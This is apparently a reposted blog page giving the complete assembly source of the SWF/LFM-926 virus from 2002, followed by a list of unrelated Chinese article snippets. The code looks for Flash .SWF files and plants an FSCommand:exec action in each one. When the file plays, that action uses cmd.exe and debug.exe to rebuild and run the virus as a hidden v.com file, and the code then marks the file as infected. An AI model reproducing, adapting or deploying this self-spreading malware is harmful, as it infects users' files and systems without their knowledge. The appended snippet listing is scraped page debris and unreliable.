SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002
; --------------------------------- Begin Source Code ------------------------------------
.286
.model tiny
.code
org 100h Entry: jmp Start
VIR_SIZE equ Virus_End-Entry
DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex
; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW
RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
RECT_BUF_SIZE equ $-RECT_BUF
HDR_SIZE dw ? ; Holds the true header size!
; Start of Viral Frame 0.
; -----------------------
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
db FSCommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is Flash code for a space character.
db /c
db 009h
db echo
db 009h
db Loading.Flash.Movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
Drop_BEGIN_SIZE equ $-Drop_BEGIN
Drop_MIDDLE db echo
db 009h
db db
db 009h
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
db &
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE
Drop_END db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; StringEnd Tag
Drop_END_SIZE equ $-Drop_END
; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag
Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg
mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h
mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h
mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],$
mov dx,offset (DTA+30)
mov ax,3d02h ; Open host file
int 21h
jc ExProg
mov [HANDLE],ax ; Save file handle
mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg
cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,S
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle
mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header.
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size
mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg
push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,Drop_BEGIN_SIZE
int 21h
jc ExProg
;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! Flash only really
; allows plain text, so this satisfies that condition.
;
mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset Drop_MIDDLE
mov cx,Drop_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx
or di,di
jz no_remainder
mov dx,offset Drop_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg
no_remainder:
mov dx,offset Drop_END
mov cx,Drop_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h
mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1
mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg
mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg
mov dx,offset Drop_BEGIN
mov cx,Drop_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg
mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg
mov ax,3e00h ; Close file
int 21h
jc ExProg
jmp Cycle ; DONE! Try to infect another.
Virus_End:
end Entry
相关推荐
社会工程学与漏洞利用:构建纵深防御体系应对组合攻击
在信息安全领域,社会工程学与应用程序漏洞利用是两大核心攻击向量。社会工程学本质上是利用人类心理弱点(如信任、权威、紧急原则)进行心理操控,绕过技术防线;而应用程序漏洞(如缓冲区溢出、内存破坏漏洞)则提供了技术执行点,使攻击者能在系统上执行任意代码。两者的结合形成了完整的攻击链,极大提升了攻击成功率和破坏性。从技术价值看,理解这种结合有助于从被动防御转向主动设防,构建覆盖“人、流程、技术”的纵深安全体系。在应用场景上,无论是金融系统渗透测试、企业内部安全审计,还是日常办公环境,都需要防范钓鱼邮件、诱饵攻击等社
感染Flash文件的病毒现身 (转)
感染Flash文件的病毒现身 (转)[@more@]感染Flash文件的病毒现身 2002年1月8日,感染“Macromedia Flash”文件(扩展名为swf的文件)的病毒“SWF/LFM-926”被发现。“Macrome...
零日漏洞攻防实战:从原理到纵深防御体系构建
在网络安全领域,漏洞是软件或系统中存在的安全缺陷,其核心原理在于攻击者利用这些缺陷绕过传统基于特征匹配的防护机制。零日漏洞作为尚未被公开披露的未知威胁,其技术价值在于能够穿透防火墙、入侵检测系统等常规防御,对关键信息基础设施构成严重风险。这类威胁的典型应用场景包括针对金融机构、政府机构和高价值企业的精准攻击,攻击链通常涵盖漏洞挖掘、武器化、投递和利用等多个环节。为了有效应对此类高级持续性威胁,现代安全实践强调构建覆盖预防、检测、响应和恢复的纵深防御体系,其中终端检测与响应(EDR)和威胁情报成为关键组件。通
国外的第一只[感染*.swf]flash病毒的源代码_陕南赤子_新浪博客
SWF/LFM-926 Virus: ; ------------------ ; Description: WinNT/XP Virus dropper for Flash .SWF files! ; Masm Version 6.11: ML.EXE SWF.ASM ; Virus Size: 926 bytes ; Infection Size: 32...
勒索攻击十大技术手段深度解析与实战防御指南
网络安全的核心挑战之一在于应对不断演化的高级威胁。勒索软件攻击已从偶发事件演变为高度产业化的持续性威胁,其攻击链通常遵循从初始入侵、横向移动到最终数据加密的完整流程。理解其技术原理,如利用公开应用漏洞、弱口令爆破、凭证窃取与横向移动等,对于构建有效防御体系至关重要。这些技术不仅关乎数据安全,更直接影响到业务连续性与企业声誉。在实际应用场景中,防御者需从边界防护、终端安全、身份管理、数据保护及持续监测等多个层面构建纵深防御体系。本文聚焦于勒索攻击者最常用的十大具体攻击手段,结合社会工程学、漏洞利用、供应链攻击
防范最新勒索病毒--坏兔子病毒(伪造Adobe Flash Player更新)的方法
本文针对win8系统, 第一,关闭TCP137 ,139,445端口,具体方法如下: 1.鼠标移动到左下角,右键点击一下,选择”控制面板“。点击打开,结果如图: 2.点击”系统和安全“ 3.点击”windows 防火墙“ 4。点击左侧”高级设置“ 5.点击左侧 ”入站规则“, 6.点击右侧 ”新建规则“ 7.选中 ”端口“ 选项,并点击 ”下一步“ 8.选中”Tcp“(一般
病毒程序源码实例剖析-CIH病毒[5]
push ecx loop $ ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据,共80h个字节 xor ah, ah mov [eax], al xchg ecx, eax loop $ ; 显示和激活BIOS的000E0000 - 000FFFFF段数据,共128 KB,该段可写入信息mov eax, 0f5555h p
【信息科学与工程学】【安全领域】 第八十八篇 网络空间安全21
如果员工认为安全政策和流程(如复杂的密码规则、频繁的认证、繁琐的软件安装审批)阻碍了工作效率,他们可能会寻找变通方法,例如:写下密码、共享账户、使用未经批准的云服务(影子IT)、绕过安全控制。例如,一个用于显示用户列表的API,可能返回每个用户的完整个人资料,包括邮箱、地址、电话等敏感字段,而前端可能只显示了姓名。:在OAuth 2.0或OIDC流程中,攻击者可能截获授权请求中的“授权码”,或窃取“访问令牌”,然后将其用于另一个客户端(非原始授权的客户端),从而以用户身份访问受保护的资源。
年度征文|一个业余电脑玩家的30年(1992-2022)
《论语·为政》:“五十而知天命”。岁月真的是一把刀,一晃已过不惑之年,还有几天就要进入知非之年。不论知非还是知天命,反正是花甲将至而从心所欲了。年少时因某种不合机缘,错与IT界擦肩而过,每每想起就扼腕痛惜,但这30年来一直在业余电脑玩家的路上。周末休息在家,闲着没事来回忆回忆这30年的业余玩家之路,说说以前年代的电脑软硬件的故事——
病毒风波——flash动画
这是一个介绍计算机病毒的FLASH动画,病毒风波——flash动画
flash动画剧——病毒入侵了
flash动画——病毒入侵了 一款有意思的病毒入侵动画剧,可以厘清病毒的概念,在欢声笑语中涨或病毒的只是
深度解析2025版木马变种:从核心机制到纵深防御实战指南
木马病毒作为一种经典的网络安全威胁,其核心机制在于通过伪装欺骗用户执行恶意代码,进而实现持久化驻留、建立远程连接并执行窃密或破坏操作。随着攻击技术的演进,现代木马在通信加密、持久化手段和对抗检测等方面不断升级,其技术价值已从单一破坏转向长期潜伏与数据窃取,对个人隐私与企业数据安全构成严峻挑战。在应用场景上,这类威胁常通过钓鱼邮件、恶意软件捆绑等方式传播,针对各类操作系统和网络环境。本文聚焦于当前流行的“2025版”木马变种,详细剖析其采用的**无文件攻击**技术和**模块化设计**原理,并系统阐述从系统加固
CSS3新型冠状病毒动画代码
CSS3新型冠状病毒动画代码,新冠肺炎公益广告图片代码。
FBI 连续第三次发布关于国家黑客利用 Kwampirs 发动全球供应链攻击的警告
聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队周一,FBI 发布关于国家黑客使用 Kwampirs 恶意软件攻击全球供应链企业和其它行业的警告。这是 FBI 今年以来发...
腾讯地图自定义瓦片地图开发实战:从坐标定位到图层融合
本文详细介绍了腾讯地图自定义瓦片地图开发的全流程,从坐标定位到图层融合的实战技巧。通过具体代码示例和常见问题解决方案,帮助开发者快速掌握腾讯地图API的自定义瓦片功能,实现室内外地图的无缝衔接和特殊图层的叠加展示。
工程创新训练大赛智能网联车辆赛道LKA+自动驾驶9000+分数分案例
/获取主车在主车路径上的ST坐标。if (status == AVPStatus::eForwarding) // approaching the parking space接近阶段。if (status == AVPStatus::eForwarding) // approaching the parking space接近阶段。if (status == AVPStatus::eForwarding) // approaching the parking space接近阶段。
从CVE-2025-29824漏洞到勒索软件攻击链的深度剖析与防御实战
在网络安全领域,漏洞利用与攻击链分析是理解现代威胁的核心。其基本原理在于攻击者通过软件或系统中的安全缺陷,绕过正常权限控制,执行恶意代码。掌握这一原理对于构建有效防御体系具有极高的技术价值,尤其在应对自动化、产业化的勒索软件攻击时至关重要。典型的应用场景包括企业网络防护、端点安全响应以及针对零日漏洞的应急处理。本文以近期引发关注的“管道魔法”木马及Windows零日漏洞CVE-2025-29824为具体案例,深入拆解其如何利用命名管道机制中的逻辑缺陷实现权限提升,并串联起从初始入侵、横向移动到最终部署勒索软
k-shape时间序列聚类实战:从理论到tslearn实现
本文深入探讨了k-shape时间序列聚类算法,从核心原理到tslearn库的实战应用。k-shape通过标准化互相关系数衡量序列形状相似性,专注于识别波动模式而非绝对数值。文章详细介绍了算法流程、Python环境搭建、数据预处理、最佳K值确定方法,并通过完整代码示例展示了模型训练与结果可视化,帮助读者掌握这一强大的“形状捕手”工具。
鸟哥私房菜笔记00-计算机概论
由使用者输入指令与数据,经过中央处理器的数学与逻辑单元运算处理后,以产生或存储成有用的信息。所以,只要有输入设备及输出设备,又有CPU能进行复杂运算的,这就是计算机了。简单来说,DRAM和SRAM是“速度”与“成本/容量”之间的权衡。SRAM 快而贵,做缓存;DRAM 密而廉,做内存。在一个典型的计算机系统中,它们协同工作:CPU首先在高速但容量小的SRAM缓存中寻找数据,如果找不到(缓存未命中),才会去访问低速但容量大的DRAM主存。
STM32家电安全开发实战:手把手教你用X-CUBE-CLASSB通过IEC60730 Class B认证
本文详细解析了如何使用STM32的X-CUBE-CLASSB软件包通过IEC60730 Class B认证,涵盖认证核心要求、软件包架构、工程集成配置及调试技巧。针对家电安全开发,提供了从单元测试到压力测试的全流程方案,帮助开发者快速实现符合国际安全标准的嵌入式控制系统。
Vue3+Element Plus:构建现代化后台管理系统的核心布局实践
本文详细介绍了使用Vue3和Element Plus构建现代化后台管理系统的核心布局实践。从开发环境搭建到核心布局设计,再到动态菜单与路由集成,提供了完整的解决方案和优化技巧。特别适合需要快速开发高效、响应式后台系统的开发者,通过实战案例展示了如何提升开发效率和系统性能。
【信息科学与工程学】计算机科学与自动化——第二百二十九篇 企业级软件开发所涉及的关键因素1001
编号类型模块组件编程语言+环境编程设计考虑的因素(含缺陷规避、高内聚、低耦合、高性能、安全性、低BUG)关联知识和标准1前端用户登录模块JavaScript + React避免XSS注入,使用HTTPS传输密码;组件内聚登录逻辑,与路由解耦;虚拟DOM提升渲染性能;输入校验防SQL注入;单元测试覆盖边界情况。OWASP Top 10, React最佳实践, Jest测试2后端订单服务Java + Spring Boot事务隔离级别防止脏读;高内聚业务逻辑于Service层;RESTful接口低耦合;连接池优
【大模型12步学习路线 · 第3步 · ③IC验证实战篇】SOTA Prompt 逐字拆解
本文拆解了4篇SOTA LLM4Verification论文的Prompt设计,重点分析了AssertLLM、RTLFixer等模型在IC验证领域的Prompt工程实践。AssertLLM通过任务分解为3个专用LLM(Spec分析、信号映射、SVA生成),结合领域RAG和定制System Prompt,将SVA准确率从GPT-4的8%提升至89%。RTLFixer采用ReAct框架实现98.5%的RTL语法错误修复率。文章总结了Prompt设计的关键技巧:任务分解、结构化输出、置信度评分、允许"不确定"标记
321



被折叠的 条评论
为什么被折叠?



